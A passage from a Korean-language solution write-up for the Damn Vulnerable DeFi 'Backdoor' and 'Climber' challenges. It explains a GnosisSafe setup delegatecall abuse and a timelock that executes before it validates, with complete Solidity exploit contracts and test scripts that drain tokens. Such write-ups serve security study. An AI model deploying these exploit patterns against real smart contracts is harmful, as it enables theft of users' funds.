    • 생성자(constructor)에 GnosisSafe / GnosisSafeProxyFactory 컨트랙트 주소 전달
    • 두 컨트랙트 주소는 WalletRegistry::proxyCreated()에서 사용

  • (3) 지갑 배포/생성을 원하는 사용자가 GnosisSafeProxyFactory::createProxyWithCallback() 호출하여 지갑 생성/배포 수행

    • 이 때, 보상 수령을 위해 생성 이후 호출할 콜백함수를 WalletRegistry::proxyCreated()로 지정

    GnosisSafeProxyFactory.sol

      ...
  /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
  /// @param _singleton Address of singleton contract.
  /// @param initializer Payload for message call sent to new proxy contract.
  /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
  /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
  function createProxyWithCallback(
      address _singleton,
      bytes memory initializer,
      uint256 saltNonce,
      IProxyCreationCallback callback
  ) public returns (GnosisSafeProxy proxy) {
      uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
      proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
      if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
  }
  ...
    • 해당 함수는 새로운 프록시 컨트랙트를 생성하는 용도로 사용되며, 아래와 같은 인자 사용
    • address _singleton : 싱글턴 컨트랙트의 주소로 GnosisSafe(masterCopy) 사용
    • bytes memory initializer : 새로 생성되는 프록시 컨트랙트에서 메시지 콜로 실행할 페이로드 전달
    • uint256 saltNonce : 새로운 프록시 컨트랙트의 주소 생성 시 솔트 값으로 사용
    • IProxyCreateCallback callback : 새로운 프록시 컨트랙트가 생성 및 배포된 후 실행할 콜백함수

  • (4) WalletRegistry::proxyCreated()가 개발자가 구현해놓은 콜백함수

    • 기존에 등록된 beneficiary 사용자가 GnosisSafeProxyFactory::createProxyWithCallback()를 호출하여 지갑 생성/배포 시에, 10 DTV 토큰을 보상받도록 구현

WalletRegistry.sol

...
function proxyCreated(
    GnosisSafeProxy proxy,
    address singleton,
    bytes calldata initializer,
    uint256
) external override {
    // Make sure we have enough DVT to pay
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");

    address payable walletAddress = payable(proxy);

    // Ensure correct factory and master copy
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");
    
    // Ensure initial calldata was a call to `GnosisSafe::setup`
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");              // payload : initialzer는 setup() 호출만 가능

    // Ensure wallet initialization is the expected
    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

    // Ensure the owner is a registered beneficiary
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    // Remove owner as beneficiary
    _removeBeneficiary(walletOwner);

    // Register the wallet under the owner's address
    wallets[walletOwner] = walletAddress;

    // Pay tokens to the newly created wallet
    token.transfer(walletAddress, TOKEN_PAYMENT);        
}

GnosisSafeProxyFactory::createProxyWithCallback() 호출을 통해 지갑 배포/생성 시, 생성되는 지갑(프록시 컨트랙트)에서 실행할 페이로드를 bytes memory initializer 통해 전달할 수 있으며, 해당 페이로드는 callback 함수인 proxyCreated()에 전달된다.

이후 proxyCreated() 함수에서는 initializer 데이터를 통해 GnosisSafe::setup() 함수만 호출이 가능하도록 개발되어 있다.

GnosisSafe.sol

...
/// @dev Setup function sets initial storage of contract.
/// @param _owners List of Safe owners.
/// @param _threshold Number of required confirmations for a Safe transaction.
/// @param to Contract address for optional delegate call.
/// @param data Data payload for optional delegate call.
/// @param fallbackHandler Handler for fallback calls to this contract
/// @param paymentToken Token that should be used for the payment (0 is ETH)
/// @param payment Value that should be paid
/// @param paymentReceiver Adddress that should receive the payment (or 0 if tx.origin)
function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,                         // optional : delegate call 실행할 대상 주소
    bytes calldata data,                // optional : delegate call로 실행할 데이터
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
    setupModules(to, data);     // *** delegate call!

    if (payment > 0) {
        // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
        // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
...

Exploit

GnosisSafe::setup()는 setupModules() 함수를 통해 전달된 call data를 실행하며, delegate call 을 사용하기 때문에 취약점이 발생

공격자는 기등록된 beneficiary의 EOA를 이용해 GnosisSafeProxyFactory::createProxyWithCallback()를 호출하여 지갑을 생성/배포한다.

호출 시, initializer는 GnosisSafe::setup()을 실행하며, 인자는 다음과 같이 설정한다.

  • address[] calldata _ownsers : beneficiary EOA
  • address to : 공격자 컨트랙트 주소
  • bytes calldata data : delegate call로 실행될 페이로드이며, 공격자 컨트랙트에 구현된 drainEther()를 호출하도록 구성

호출 시, 콜백함수는 WalletRegistry::proxyCreated()를 사용한다.

BackdoorExploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";

import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";

interface IGnosisSafeProxyFactor {
    function createProxyWithCallback(address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback) external returns (GnosisSafeProxy proxy);
}

contract BackdoorExploit {

    address public proxyFactor;
    address public walletRegistry;
    address public gnosisMaster;
    address payable public dtvToken;

    constructor(address _proxyFactor, address _walletRegistry, address _gnosisMaster, address payable _dtvToken) {
        proxyFactor = _proxyFactor;
        walletRegistry = _walletRegistry;
        gnosisMaster = _gnosisMaster;
        dtvToken = _dtvToken;
    }

    function drainEther(address spender, address token) external {
        IERC20(token).approve(spender, 10 ether);
    }

    function exploit(address _attacker, address[] memory _users, uint256 amounts) external {
        for(uint8 i=0 ; i<_users.length ; i++) {
            address[] memory users = new address[](1);
            users[0] = _users[i];

            // setupModules()'s delegatecall() allows an attacker to use user-defined function drainEther().
            bytes memory encodedPayload = abi.encodeWithSignature("drainEther(address,address)", address(this), dtvToken);

            bytes memory initializer = abi.encodeWithSignature("setup(address[],uint256,address,bytes,address,address,uint256,address)",
                                                                users, 
                                                                1, 
                                                                address(this), 
                                                                encodedPayload, 
                                                                address(0), 
                                                                address(0), 
                                                                0, 
                                                                address(0));

            // when attacker's proxy contract deployed and initialized, user's DTV token benefit transfer approved by 'setup() -> setupModules() -> delegatecall(drainEther())'
            GnosisSafeProxy proxy = IGnosisSafeProxyFactor(proxyFactor).createProxyWithCallback(gnosisMaster, initializer, 0, IProxyCreationCallback(walletRegistry));

            // after each user deploys and initalizes the wallet proxy contract, attacker receives ether using transferFrom() : user -> attacker
            IERC20(dtvToken).transferFrom(address(proxy), _attacker, amounts);            
        }
    }

    receive() external payable {}
}

backdoor.challenge.js

this.exploitContract = await (
            await ethers.getContractFactory('BackdoorExploit', attacker)
        ).deploy(this.walletFactory.address,
                this.walletRegistry.address, 
                this.masterCopy.address, 
                this.token.address);

await this.exploitContract.exploit(attacker.address, users, ethers.utils.parseEther("10"));

# 12. Climber

Summary

1000만개의 DTV 토큰을 보호하고 있는 Vault 컨트랙트(금고 역할)가 있으며, 해당 컨트랙트는 EIP-1822 UUPS 패턴에 따라 업그레이드가 가능한(Upgradeable) 형태이다.

Vault 컨트랙트의 현재 owner는 Timelock 컨트랙트이며, owner만이 withdraw()를 통해 아주 제한된 양(1 DTV)의 토큰만 출금이 가능하게 설계되어 있다.

또한 긴급상황에서 모든 토큰을 빼낼 수 있는 권한을 가진 추가적인 계정(Sweeper)도 있다.

Timelock 컨트랙트에서 Proposer 권한을 부여받은 계정만이 1시간 후에 실행할 수 있는 작업(Operation)을 schedule()을 통해 등록할 수 있다.

공격자는 Vault 컨트랙트의 모든 토큰을 가져오는 것이 목표이다.

// ClimberTimelock.sol
...
function getOperationState(bytes32 id) public view returns (OperationState) {
    Operation memory op = operations[id];
    
    if(op.executed) {
        return OperationState.Executed;
    } else if(op.readyAtTimestamp >= block.timestamp) {
        return OperationState.ReadyForExecution;
    } else if(op.readyAtTimestamp > 0) {
        return OperationState.Scheduled;
    } else {
        return OperationState.Unknown;
    }
}

function getOperationId(
    address[] calldata targets,
    uint256[] calldata values,
    bytes[] calldata dataElements,
    bytes32 salt
) public pure returns (bytes32) {
    return keccak256(abi.encode(targets, values, dataElements, salt));
}

function schedule(
    address[] calldata targets,
    uint256[] calldata values,
    bytes[] calldata dataElements,
    bytes32 salt
) external onlyRole(PROPOSER_ROLE) {        // only PROPOSER can add operations.
    require(targets.length > 0 && targets.length < 256);
    require(targets.length == values.length);
    require(targets.length == dataElements.length);

    bytes32 id = getOperationId(targets, values, dataElements, salt);
    require(getOperationState(id) == OperationState.Unknown, "Operation already known");
    
    operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
    operations[id].known = true;
}

/** Anyone can execute what has been scheduled via `schedule` */
function execute(
    address[] calldata targets,
    uint256[] calldata values,
    bytes[] calldata dataElements,
    bytes32 salt
) external payable {
    require(targets.length > 0, "Must provide at least one target");
    require(targets.length == values.length);
    require(targets.length == dataElements.length);

    bytes32 id = getOperationId(targets, values, dataElements, salt);

    // Vulnerable! Execute -> Validation Check
    // (1) Execute operation
    for (uint8 i = 0; i < targets.length; i++) {
        targets[i].functionCallWithValue(dataElements[i], values[i]);       // attacker -> updateDelay, grantRole, transferOwnership, *schedule*
    }
    
    // (2) Check that executed operation is valid
    require(getOperationState(id) == OperationState.ReadyForExecution);
    operations[id].executed = true;
}
...

취약점은 ClimberTimelock.sol의 execute()에 존재한다.

schedule()

  • PROPOSER_ROLE이 부여된 계정만이 실행 가능
  • targets / values / dataElements / salt 를 이용해 특정 operation을 식별할 수 있는 ID를 생성
    • [] 리스트 형태로 일련의 작업들을 묶어서 실행 가능
  • 실행할 operation ID의 readyAtTimestamp = 현재 timestamp(schedule에 추가된 시간) + 1 hour(delay)로 설정

execute()

  • PROPOSER_ROLE 권한을 가진 계정이 schedule()을 통해 추가한 operation을 ID를 기반으로 누구나 실행 가능한 것이 목적(..이지만 취약한 코드에 의해 누구나 operation 등록 및 실행이 가능)
  • operation을 실행한 이후에, 해당 operation에 대한 ID 계산 및 scehdule 등록/적절 여부 판단
  • 공격자가 다음과 같은 operation 목록을 생성 및 실행하여, Logic 컨트랙트인 ClimberVault의 ownership 획득 가능
    • (1) ClimberTimelock::updateDelay(0)
      • 공격자가 실행한 operation이 require(getOperationState(id) == OperationState.ReadyForExecution);를 우회할 수 있도록 하기위해 실행
    • (2) AccessControl::grantRole(PROPOSER_ROLE, attacker_contract)
      • 공격자가 생성한 컨트랙트에 PROPOSER_ROLE을 부여함으로써, ClimberTimelock::schedule()을 실행할 수 있는 권한 확보
      • 공격자가 생성한 컨트랙트는 ClimberVault Logic 컨트랙트를 제어할 수 있는 권한 확보(PROPOSER_ROLE은 ADMIN_ROLE도 부여받음)
    • (3) OwnableUpgradeable::transferOwnership(attacker_eoa)
      • UUPS 패턴으로 배포된 ClimberVault Logic 컨트랙트의 ownership을 공격자에게 이전 -> 공격자는 Logic 컨트랙트 업그레이드가 가능하도록 하는 권한 확보
    • (4) ClimberTimelock::schedule()
      • operation의 마지막에 schedule()을 호출함으로써, schedule에 operation 추가 및 require(getOperationState(id) == OperationState.ReadyForExecution); 우회

Exploit

attacker-contracts/ClimberExploit.sol

  • ClimberTimelock의 취약점을 이용하여 ClimberVault의 ownership 이전
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

//import "@openzeppelin/contracts/access/AccessControl.sol";

interface IClimberTimelock {
    function schedule(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt) external;
    function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt) external;
}

contract ClimberExploit {
    address public attackerEOA;
    address public timelockAddr;
    address public vaultAddr;

    address[] public targets;
    uint256[] public values;
    bytes[] public dataElements;

    bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");

    constructor (address _attackerEOA, address _timelockAddr, address _vaultAddr) {
        attackerEOA = _attackerEOA;
        timelockAddr = _timelockAddr;
        vaultAddr = _vaultAddr;
    }

    function exploit() external {
        // updateDelay set to 0 
        targets.push(timelockAddr);
        values.push(0);
        dataElements.push(abi.encodeWithSignature("updateDelay(uint64)", uint64(0)));

        // Granting the PROPOSER role to this attacker contract(ClimberExploit.sol)
        // AccessControl.sol
        targets.push(timelockAddr);
        values.push(0);
        dataElements.push(abi.encodeWithSignature("grantRole(bytes32,address)", PROPOSER_ROLE, address(this)));

        // Transfer ownership of Logic Contract(ClimberVault) to attacker EOA
        // OwnableUpgradeable.sol
        targets.push(vaultAddr);
        values.push(0);
        dataElements.push(abi.encodeWithSignature("transferOwnership(address)", attackerEOA));

        // to bypass schedule check
        targets.push(address(this));
        values.push(0);
        dataElements.push(abi.encodeWithSignature("triggerSchedule()"));

        // execute()
        IClimberTimelock(timelockAddr).execute(targets, values, dataElements, keccak256("salt"));
    }

    function triggerSchedule() external {
        // triggering VaultTimelock::schedule()
        IClimberTimelock(timelockAddr).schedule(targets, values, dataElements, keccak256("salt"));
    }
}

attacker-contracts/ClimberAttackerLogic.sol

  • UUPS 패턴으로 배포되어있는 ClimberVault를 아래 공격자의 Logic 컨트랙트로 업그레이드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title ClimberVault
 * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ClimberAttackerLogic is Initializable, OwnableUpgradeable, UUPSUpgradeable {

    uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
    uint256 public constant WAITING_PERIOD = 15 days;

    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

    modifier onlySweeper() {
        require(msg.sender == _sweeper, "Caller must be sweeper");
        _;
    }

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() initializer {}

    function initialize() initializer external {
        // Initialize inheritance chain
        __Ownable_init();
        __UUPSUpgradeable_init();

        // Deploy timelock and transfer ownership to it
        //transferOwnership(address(new ClimberTimelock(admin, proposer)));

        //_setSweeper(sweeper);
        _setLastWithdrawal(block.timestamp);
        _lastWithdrawalTimestamp = block.timestamp;
    }

    ...

    // Allows trusted sweeper account to retrieve any tokens
    function sweepFunds(address tokenAddress) external {
        IERC20 token = IERC20(tokenAddress);
        require(token.transfer(msg.sender, token.balanceOf(address(this))), "Transfer failed");
    }
    
    ...

    // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
    function _authorizeUpgrade(address newImplementation) internal onlyOwner override {}
}

climber.challenge.js

// Change CimberVault's owner to attacker using vulnerability
let exploitContract = await (await ethers.getContractFactory('ClimberExploit', attacker)).deploy(attacker.address, this.timelock.address, this.vault.address);
await exploitContract.connect(attacker).exploit();

// Upgrade to attacker's Contract
this.climberAttackerLogic = await ethers.getContractFactory('ClimberAttackerLogic', attacker);
let attacker_vault = await upgrades.upgradeProxy(this.vault.address, this.climberAttackerLogic);

// drained all tokens from vault
await attacker_vault.connect(attacker).sweepFunds(this.token.address);